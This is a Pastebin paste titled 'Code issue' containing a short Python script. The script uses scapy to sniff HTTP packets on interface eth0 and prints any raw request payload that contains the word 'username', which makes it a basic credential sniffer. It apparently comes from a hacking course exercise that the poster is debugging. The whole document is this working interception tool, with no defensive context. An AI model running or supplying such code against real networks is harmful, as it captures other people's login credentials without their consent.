Guest User

Code issue

a guest
Feb 2nd, 2021
41
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python
  2. import scapy.all as scapy
  3. from scapy.layers import http
  4.  
  5. def sniff(interface):
  6. scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)
  7.  
  8. def process_sniffed_packet(packet):
  9. if packet.haslayer(http.HTTPRequest):
  10. if packet.haslayer(scapy.Raw):
  11. load = packet[scapy.Raw].load
  12. if "username" in load:
  13. print(load)
  14.  
  15. sniff("eth0")
RAW Paste Data